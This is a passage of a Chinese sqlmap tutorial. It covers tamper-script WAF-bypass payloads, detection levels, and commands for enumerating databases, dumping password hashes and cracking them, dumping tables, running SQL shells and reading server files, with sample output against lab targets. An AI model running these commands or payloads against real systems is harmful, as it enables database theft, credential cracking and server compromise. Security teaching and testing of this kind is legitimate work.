    适用数据库:Microsoft SQL Server
    测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
    作用:将空格随机替换为其他空符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
    使用脚本前:tamper('SELECT id FROM users')
    使用脚本后:SELECT%0Eid%0DFROM%07users
space2mssqlhash.py
    适用数据库:mysql >= 5.1.13
    作用:替换空格
    使用脚本前:('1 AND 9227=9227')
    使用脚本后:'1%23%0AAND%23%0A9227=9227'
space2mysqlblank.py
    适用数据库:MySQL
    测试通过数据库:MySQL 5.1
    作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
    使用脚本前:tamper('SELECT id FROM users')
    使用脚本后:SELECT%0Bid%0DFROM%0Cusers
space2mysqldash.py
    适用数据库:MySQL、MSSQL
    作用:将空格替换为 -- ,并追随一个换行符
    使用脚本前:tamper('1 AND 9227=9227')
    使用脚本后:1--%0AAND--%0A9227=9227
space2plus.py
    适用数据库:ALL
    作用:用加号替换空格
    使用脚本前:tamper('SELECT id FROM users')
    使用脚本后:SELECT+id+FROM+users
space2randomblank.py
    适用数据库:ALL
    作用:将空格替换为其他有效字符
    使用脚本前:tamper('SELECT id FROM users')
    使用脚本后:SELECT%0Did%0DFROM%0Ausers
substring2leftright.py
symboliclogical.py
unionalltounion.py
    适用数据库:ALL
    作用:将 union all select 替换为 union select
    使用脚本前:tamper('-1 UNION ALL SELECT')
    使用脚本后:-1 UNION SELECT
unmagicquotes.py
    适用数据库:ALL
    作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
    使用脚本前:tamper("1' AND 1=1")
    使用脚本后:1%bf%27 AND 1=1--
uppercase.py
varnish.py
versionedkeywords.py
    适用数据库:MySQL
    测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
    作用:注释绕过
    使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
    使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
versionedmorekeywords.py
xforwardedfor.py

组合多个 tamper 脚本

有时单个脚本不足以绕过复杂的防护机制,可以组合多个 tamper 脚本,脚本之间用逗号(,) 分割

示例:针对 MySQL 目标,假定字符 >、空格和大写的 SELECT 字符串被禁止:sqlmap -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

tamper 的实际选择

选择适当的 tamper 脚本需要根据目标的具体防护机制。以下是一些通用的策略:

  • WAF 存在空格过滤space2comment, space2dash
  • 大小写敏感randomcase
  • 特殊字符被过滤charencode, base64encode
  • 关键字被过滤between, equaltolike

space2comment

将 SQL 语句中的空格替换为注释符(/**/),以绕过一些简单的空格过滤。

示例:sqlmap -u "http://example.com/page?id=1" --tamper=space2comment -v 3
原始:SELECT * FROM users WHERE id=1
变形:SELECT/**//*FROM/**/users/**/WHERE/**/id=1

randomcase

随机改变 SQL 关键字的大小写,用于绕过不区分大小写的过滤规则。

示例:sqlmap -u "http://example.com/page?id=1" --tamper=randomcase -v 3
原始:SELECT
变形:SeLeCt

charencode

将字符串转换为其对应的 CHAR() 表达形式,用于绕过对特殊字符(如 '")的过滤。

示例:sqlmap -u "http://example.com/page?id=1" --tamper=charencode -v 3
原始:'admin'
变形:CHAR(97,100,109,105,110)

unmagicquotes

用于绕过魔术引号(Magic Quotes)功能,自动去除添加的反斜杠(\)。

示例:sqlmap -u "http://example.com/page?id=1" --tamper=unmagicquotes -v 3
原始:\' OR 1=1
变形:' OR 1=1

base64encode

将整个 Payload 进行 Base64 编码,通常需要结合其他脚本或参数解码。

示例:sqlmap -u "http://example.com/page?id=1" --tamper=base64encode
原始:SELECT * FROM users
变形:U0VMRUNUICogRlJPTSB1c2Vycw==

between

使用 BETWEENAND 替换等式,用于绕过特定的 = 字符过滤。

示例:sqlmap -u "http://example.com/page?id=1" --tamper=between
原始:id=1
变形:id BETWEEN 0 AND 2

equaltolike

将等号(=)替换为 LIKE,绕过针对 = 的过滤。
示例:sqlmap -u "http://example.com/page?id=1" --tamper=equaltolike
原始:id=1
变形:id LIKE 1

space2dash

将空格替换为注释符号 -- 后添加新行,绕过一些空格检测机制。
示例:sqlmap -u "http://example.com/page?id=1" --tamper=space2dash
原始:SELECT * FROM users
变形:SELECT--\n*--\nFROM--\nusers

unionalltounion

将 UNION ALL SELECT 转换为 UNION SELECT,绕过针对 UNION ALL 的过滤规则。
示例:sqlmap -u "http://example.com/page?id=1" --tamper=unionalltounion
原始:UNION ALL SELECT
变形:UNION SELECT

percentage

将部分字符替换为其百分比编码形式(如 %20 代表空格)。
示例:sqlmap -u "http://example.com/page?id=1" --tamper=percentage
原始:SELECT * FROM users
变形:SELECT%20*%20FROM%20users

提升 "范围、级别"

选项:--level

使用这个选项需要给出一个参数用于指定即将进行检测的级别。共5级,级别越高,检测越全面,同时运行速度越慢。

  • 默认的级别是 只会进行简单的检测(请求)。
  • 级别 5 会更详细地对更大范围 payloads 和 boundaries(作为 SQL payload 的前缀和后缀)进行检测。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。

sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml 中载入。根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,可以根据相应的格式添加自己的payload 用户检测。

--level 设置不止会影响 sqlmap 使用的 payload,还会影响到相关的测试注入点:

  • 默认 --level=1 ,只测试 GET 和 POST 的相关参数,
  • 级别大于等于 2 时,则会增加测试 HTTP Cookie 头部,
  • 级别大于等于 3 时,则会增加测试 HTTP UserAgent/Referer 头部值。

不确定哪个 payload 或者参数为注入点的时候,为了保证全面性,建议使用高的 level 值。值越高应对SQL 注入检测的难度越高

选项:--risk

这个选项需要给出一个参数用于指定即将进行检测的风险程度。总共有个风险级别。

  • 默认的风险级别是 1,对大多数 SQL 注入点而言是没有任何风险的。
  • 风险级别 2 则会在默认的检测上添加大量时间型盲注(Time-based blind)语句测试,
  • 风险级别 3 则会在原基础上添加OR 类型的布尔型盲注(Boolean-based blind)测试。

在某些场景下,例如对 UPDATE 语句进行 SQL 注入,注入一个 OR 类型的 payload 会导致目标数据表的所有记录进行更新,显然这个不是攻击者想要的结果。针对这个场景及其他相关场景,sqlmap 引入了 --risk 这个选项。通过这个选项:用户可以指定检测特定的 payload,同时用户可任意选择使用可能比较危险的操作。正如上面的选项提及到的,sqlmap 使用的 payloads 是直接在文本文件 xml/payloads.xml 载入的,该文件支持用户自定义编辑添加。

页面比较 选项:--string,--not-string,--regexp 和 --code

默认情况下 sqlmap 通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,不过这个参照方法并不一定有效,因为可能就算没有进行注入,页面内容也会进行相应更新。例如:页面上有计数器、动态的广告横幅、或者任何基于时间而非用户输入内容进行动态渲染的内容。

为了避免类似的情况,sqlmap 会尽可能尝试识别出对应的代码段所返回的请求内容,并做好相关的处理。有时候,可能无法正确处理该情况,这也是为什么 sqlmap 允许用户提供一个字符串(--string 选项),这个字符串需要出现在原页面(这个并不是强制规定)所有查询结果为 True 的页面查询中,并且出现在查询结果为 False 的页面。除了提供静态的字符串外,用户可以提供正则表达式(--regexp 选项)用于匹配。此外,用户可以提供一个字符串(--not-string 选项),该字符串能出现在原页面或者所有查询结果为 True 的页面,而总是出现在查询结果为 False 的页面。示例:通过 HTTP 状态码区分 True 查询和 False 查询(例如:200 对应 True401 对应 False),那么可以向 sqlmap 提供对应的信息。(例如:--code=200)。

开关:--text-only--titles

如果用户知道可以通过 HTML 标题区分 True 查询和 False 查询(例如:Welcome 对应 TrueForbidden 对应 False),那么可以使用 --titles 开启基于标题对比的开关。

如果 HTTP 响应报文中存在无效信息(例如:脚本、嵌套元素等),可以通过过滤页面的内容(开关 --text-only)而只获取文本内容。通过这种方式,大多数情况下,这样会自动调优检测引擎。

探测技术

选项:--technique

指定 sqlmap 使用的探测技术,从而判断是否存在注入。默认情况下 sqlmap 会测试它支持的所有类型/技术。在某些情况下,你可能只想测试一种或几种特定类型的 SQL 注入,这便是该选项存在的作用。此选项需要一个参数值。该参数是由 BEUSTQ 这样的字符任意组合成的字符串,每个字母代表不同的技术:

  • B:布尔型盲注(Boolean-based blind)
  • E:报错型注入(Error-based)
  • U:联合查询注入(UNION query-based)。
  • S:堆叠查询注入(Stacked queries)。
  • T:时间型盲注(Time-based blind)。
  • Q:内联查询注入(inline Query)

如果仅测试利用报错型注入和堆叠查询注入,可以提供 ES。默认值为 BEUSTQ。当需要访问文件系统,接管操作系统或访问 Windows 注册表配置单元时,提供的字符串必须包含代表堆叠查询技术的字母 S

示例:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3  结果显示存在注入:

当注入点后面的参数大于等于2个时,需要加双引号:sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"  运行完成后,爆出一大段代码,这里有三处需要选择的地方:

  • 第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;
  • 第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;
  • 第三处的意思是参数id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

指纹识别

开关: -f--fingerprint

默认 sqlmap 会自动帮你识别 Web 应用后端 DBMS 的相关信息。在检测阶段结束并提醒用户进一步选择检测可注入参数的时候,sqlmap 会自动识别后端 DBMS 信息,并根据特定的数据库架构采用合适的 SQL 语法、方言和相关查询,进行进一步的攻击测试。

如果你想采用特定 SQL 方言或者内带特定错误信息等技术展开详细的 DBMS 指纹识别,可以提供 --fingerprint 开关。这样,sqlmap 则会发起更多的请求,并对DBMS 版本,甚至是操作系统、系统架构和补丁级别信息等方面展开指纹收集。

如果你想要更加精准的指纹识别结果,可以提供开关 -b 或者 --banner

枚举 后端信息

枚举(列出)后端 DBMS(Database Management System,数据库管理系统)信息、表结构和表中包含的数据。此外还可以运行自定义的SQL 语句。

获取 全部 数据

开关:--all

当用户想要通过使用单个开关远程获取所有可访问数据信息,可以使用该开关。通常不建议这么做,因为它会产生大量的请求同时获取有用无用的数据。

标语(Banner)

开关:-b--banner

大多数现代 DBMS 具有一个函数和/或一个环境变量,它会返回 DBMS 版本,并最终在其补丁级别详细介绍底层系统。通常这个函数是 version() ,环境变量是 @@version,这取决于目标 DBMS。

针对 Oracle 目标的示例:python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner

当前 会话用户

开关:--current-user

使用此开关,可以从 Web 应用程序中获取到当前正在执行相关数据库查询操作的 DBMS 用户。

当前 数据库

开关:--current-db

使用此开关可以获取 Web 应用程序连接到的 DBMS 数据库名称。

服务器 主机名

开关:--hostname

使用此开关可以获取 DBMS 所在的主机名。

针对 MySQL 目标的示例:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --hostname

是否为 dba

开关:--is-dba

可以检测当前 DBMS 会话用户是否为数据库管理员,也称为 DBA。如果是,sqlmap 将返回 True,否则返回 False

列出 DBMS 所有用户

开关:--users

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,可以枚举用户列表。

列出和破解用户的密码哈希

开关:--passwords 。如果当前会话用户对包含 DBMS 用户密码信息的系统表有读取权限,则可以枚举每个 DBMS 用户的密码哈希值。sqlmap 将会枚举所有用户,及一一对应的用户密码哈希。针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

以上例子中,sqlmap 不仅枚举了 DBMS 用户及其密码,而且识别出密码哈希格式属于PostgreSQL,并询问用户是否使用字典文件进行散列测试,并识别出了用户 postgres 的明文密码,它通常是 DBA,被识别出的还有用户 testuser 的密码。

还可以使用 -U 选项来指定要枚举的特定用户,并破解其对应密码哈希。如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的密码哈希值。

该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限,sqlmap会先列举出用户,然后列出Hash,并尝试破解

命令:

sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --passwords

sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --passwords -U root

可以看到 sqlmap 不仅列出了数据库的用户跟密码,同时也识别出是 mysql 数据库,并询问用户是否采用字典爆破的方式进行破解。也可以提供 -U 参数来指定爆破哪个用户的hash

​从图中可以看到,密码使用 MySQL5 加密,可在网站中自行解密(自带的解密很慢)。​

列出 DBMS 所有用户的权限

开关:--privileges

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,则可以枚举出每个 DBMS 用户的权限。根据权限信息,sqlmap 还将显示出哪些是数据库管理员。

你还可以使用 -U 选项来指定要枚举出权限的用户。

如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的权限信息。

在 Microsoft SQL Server 中,此功能将显示每个用户是否为数据库管理员,而不是所有用户的权限列表。

列出 DBMS 所有用户的角色

开关:--roles

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,则可以枚举出每个 DBMS 用户的角色。

你还可以使用 -U 选项来指定要枚举出角色的用户。

如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的角色信息。

此功能仅在 DBMS 为 Oracle 时可用。

枚举 库名

开关:--dbs (可简写为 -D)

如果当前会话用户对包含 DBMS 可用数据库信息的系统表有读取权限,则可以枚举出当前数据库的列表。

枚举 表名

开关和选项:--tables (可简写为 -T)--exclude-sysdbs

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定 DBMS 的数据表。

如果你不使用选项 -D 来指定数据库,则 sqlmap 将枚举所有 DBMS 数据库的表。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。

注意,对于 Oracle,你需要提供 TABLESPACE_NAME 而不是数据库名称。

暴力 破解 表名

开关:--common-tables 。在某些场景下,开关 --tables 并不能用于获取数据库中表的名称。这样的场景通常会在如下情况下发生:

  • DBMS(Database Management System,数据库管理系统)是 < 5.0 版本的 MySQL,它们不具备 information_schema
  • DBMS 是微软的 Access 数据库,并且其中的系统表 MSysObjects 默认设置不可读。
  • 当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。

如果出现前面两个场景中的任意一个,并且你开启了 --tables 开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-tables,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表。

常见的数据表名列表存储在 txt/common-tables.txt,支持用户进行任意修改。

针对 MySQL 4.1 目标的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

枚举 列名

开关和选项:--columns (可简写为 -C)-T-D 。如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定数据表的列名。sqlmap 还将枚举所有列的数据类型。

此功能可使用选项 -T 来指定表名,还可以使用选项 -D 来指定数据库名称。如果未指定数据库名称,将使用当前的数据库名称。你还可以使用选项 -C 来指定要枚举的表列名。

针对 SQLite 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

注意,对于 PostgreSQL 需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 Web 应用程序用户连接到的数据库模式下的表,它们总是以 public 为别名。

暴力 破解 列名

开关:--common-columns 。对于任意数据表,可能存在开启了开关 --columns 之后仍不能够获取数据库表的列名的情况。这样的场景通常会在如下情况下发生:

  • DBMS 是 < 5.0 版本的 MySQL,它们不具备 information_schema

  • DBMS 是微软的 Access 数据库,相对应的列名信息在数据库系统表中不存在。

  • 当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。

如果出现前面两个场景中的任意一个,并且你开启了 --columns 开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-columns,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表列名。

常见的数据表名列表存储在 txt/common-columns.txt,支持用户进行任意修改。

脱库 常用命令

慎用 拖库 (脱库、脱裤) ,容易进号子。

--dump  意思为:转储、转存,可以理解为下载数据,即 读取和保存。

sqlmap.py -u "注入地址" -v 1 --dbs              // 列举数据库   
sqlmap.py -u "注入地址" -v 1 --current-db       // 当前数据库  
sqlmap.py -u "注入地址" -v 1 --users            // 列数据库用户  
sqlmap.py -u "注入地址" -v 1 --current-user     // 当前用户  
sqlmap.py -u "注入地址" -v 1 --tables -D "数据库"                          // 列举数据库的表名  
sqlmap.py -u "注入地址" -v 1 --columns -T "表名" -D "数据库"               // 获取表的列名 

// 获取表中的数据,包含列,已经就开始拖库,获取的数据存储sqlmap/output/ 目录。
sqlmap.py -u "注入地址" -v 1 --dump -C "字段,字段" -T "表名" -D "数据库"  

参数:--dump-all, --exclude-sysdbs
dump 后文件默认路径:/root/.local/share/sqlmap/output
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --count 
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --dump -D security -T users
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --dump-all --exclude-sysdbs -D security -T

access、MySQL、sqlserver

ACCESS 注入:
sqlmap.py -u "url"                        /* -u为常规扫描参数 */
sqlmap.py -u "url" --tables               /* --tables猜数据库表 */
sqlmap.py -u "url" --columns -T "表名"    /* 列出指定表名。爆字段 */
/* --dump为拆解字段名会保存在sqlmap/output目录下。暴内容 */
sqlmap.py -u "url" --dump(脱裤) -T "表名" -C "字段名"   

MYSQL 注入:
sqlmap.py -u "url"                                    /* 扫描注入点 */
sqlmap.py -u "url" --dbs                              /* 列出所有数据库 */
sqlmap.py -u "url" --current-db                       /* 列出当前数据库 */
sqlmap.py -u "url" --current-user                     /* 列出当前用户 */
sqlmap.py -u "url" --tables -D "数据库名"             /* 拆解数据库表 */
sqlmap.py -u "url" --columns -T "表名" -D "数据库名"  /* 拆解指定表字段名。即爆字段 */
sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "数据库"   /* 即爆内容 */

SQLSERVER 数据库:
sqlmap.py -u "url"                    /*扫描注入点*/
sqlmap.py -u "url" --dbs              /*列出所有数据库*/
sqlmap.py -u "url" --current-db       /*列出当前数据库*/
sqlmap.py -u "url" --current-user     /*列出当前用户*/
sqlmap.py -u "url" --tables -D "当前数据库名"         /*拆解当前数据库表*/
sqlmap.py -u "url" --columns -T "要拆得的表名" -D "当前数据库名" /*拆解指定表字段名*/
sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "当前数据库"

枚举 DBMS 模式

开关:--schema--exclude-sysdbs 。用户可以使用此开关获取 DBMS 模式 (数据库系统的架构)。模式列表将包含所有数据库、表和列以及它们各自的类型。结合 --exclude-sysdbs,只有包含非系统数据库的模式才会被获取并显示出来。针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

获取 表中数据 数量

开关:--count 。如果用户想要在导出所需表数据之前知道表中的条目数,可以使用此开关。示例:针对 Microsoft SQL Server 目标

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

导出 表数据

开关和选项:--dump-C-T-D--start--stop--first--last--pivot-column--where 。如果当前会话用户对特定的数据表有读取权限,则可以导出数据表条目。此功能依赖选项 -T 来指定表名,还可以用选项 -D 来指定数据库名称。如果提供了表名而不提供数据库名,则会使用当前的数据库。针对 Firebird 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此开关也可用于导出指定数据库数据表的所有条目。你只需要提供开关 --dump 和选项 -D(不提供 -T-C)。

你还可以使用选项 -C 提供一个以逗号分隔的特定列名列表来导出数据。

sqlmap 还能会为每个表生成相应的 CSV 格式文本文件用于存储导出的数据。你可以通过提供大于或等于 1 的详细程度级别来查看 sqlmap 所创建文件的绝对路径。

如果只是想导出特定范围的条目,可以提供选项 --start 和/或 --stop,以指定要从哪条数据开始导出和在哪条数据停止。例如,如果仅导出第一个条目,就在命令行中提供 --stop 1。或者如果你只想导出第二和第三个条目,就提供 --start 1 --stop 3

还可以使用选项 --first--last 指定要导出的单个字符或特定范围的字符。例如,如果要导出条目的第三到第五个字符,就提供 --first 3 --last 5。此功能仅适用于盲注技术,因为报错型注入(Error-based)和联合查询注入(UNION query-based)技术不管列数据条目的长度如何,发起的请求数量是完全相同的。

有些情况下(例如:对于 Microsoft SQL Server,Sybase 和 SAP MaxDB),由于缺少类似的机制,无法使用 OFFSET m, n 直接导出表的数据。在这种情况下,sqlmap 通过确定最适合的 pivot 列(具有唯一值的列,一般是主键),并使用该列检索其他列值,以此来导出数据。如果因为自动选择的 pivot 列不适用(例如:由于缺少表导出结果)而需要强制使用特定列,你可以使用选项 --pivot-column(例如: --pivot-column=id)。

如果要约束导出特定的列值(或范围),可以使用选项 --where。提供的逻辑运算将自动在 WHERE 子句内使用。例如,如果使用 --where="id>3",那么只有 id 值大于 3 的行会被获取(通过将 WHERE id>3 附加到使用的查询语句中)。

正如你可能已经注意到的,sqlmap 非常灵活:你可以将让其自动导出整个数据库表,或者非常精确地导出特定字符、列和范围的条目。

导出 所有 表数据

开关:--dump-all--exclude-sysdbs

如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。在这种情况下,sqlmap 只会导出当前用户的数据库表条目。

注意,对于 Microsoft SQL Server,master 数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。

搜索:列,表、数据库

开关和选项:--search-C-T-D

此开关允许你在所有数据库中搜索特定的数据库名和表名,在特定的数据表中搜索特定的列名

这非常有用,例如,要识别包含应用程序凭据的表,其中相关列的名称包含诸如 namepass 这样的字符串。

开关 --search 需要与以下支持选项一起使用:

  • -C,附带以逗号分隔的列名列表来搜索整个 DBMS。

  • -T,附带以逗号分隔的表名列表来搜索整个 DBMS。

  • -D,附带以逗号分隔的数据库名列表来搜索整个 DBMS。

运行自定义 SQL 语句

选项和开关:--sql-query--sql-shell

SQL 查询和 SQL shell 功能允许在 DBMS 上运行任意 SQL 语句。sqlmap 会自动解析提供的语句,确定哪种技术适合用于注入它,以及如何打包相应的 SQL payload。

如果查询是 SELECT 语句,sqlmap 将获取其输出。否则,如果 Web 应用程序的后端 DBMS 支持多语句,它将通过堆叠查询注入(Stacked queries)技术执行查询。注意,某些 Web 应用程序技术不支持特定 DBMS 上的堆叠查询。例如,当后端 DBMS 是 MySQL 时,PHP 不支持堆叠查询,但是当后端 DBMS 是 PostgreSQL 时,它是支持的。

针对 Microsoft SQL Server 2000 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo','bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

用户 自定义函数 注入

注入用户自定义函数(UDF)。开关和选项:--udf-inject--shared-lib

可以通过编译 MySQL 或 PostgreSQL 共享库(在 Windows 上为 DLL,在 Linux/Unix 上为共享对象(shared object))来注入自己的用户自定义函数(UDFs),然后将本地存储共享库的目录路径提供给 sqlmap。sqlmap 会根据你的选择决定下一步是向数据库服务器文件系统上传共享库到还是创建用户自定义函数。当你完成注入 UDFs 的使用后,sqlmap 还可以将它们从数据库中删除。

这些技术在白皮书通过高级 SQL 注入完全控制操作系统中有详细介绍。

使用选项 --udf-inject 并按照说明进行操作即可。

如果需要,也可以使用 --shared-lib 选项通过命令行指定共享库的本地文件系统路径。否则 sqlmap 会在运行时向你询问路径。

此功能仅在 DBMS(Database Management System,数据库管理系统)为 MySQL 或 PostgreSQL 时有用。

访问 文件系统:--file-read、--file-write、--file-dest

读取数据库服务器文件系统文件。选项:--file-read 。当后端 DBMS(Database Management System,数据库管理系统)为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够直接读取底层文件系统中文件的内容。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

这些技术的相关详情可见白皮书通过高级 SQL 注入完全控制操作系统

下面是以 Microsoft SQL Server 2005 为目标,获取二进制文件的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

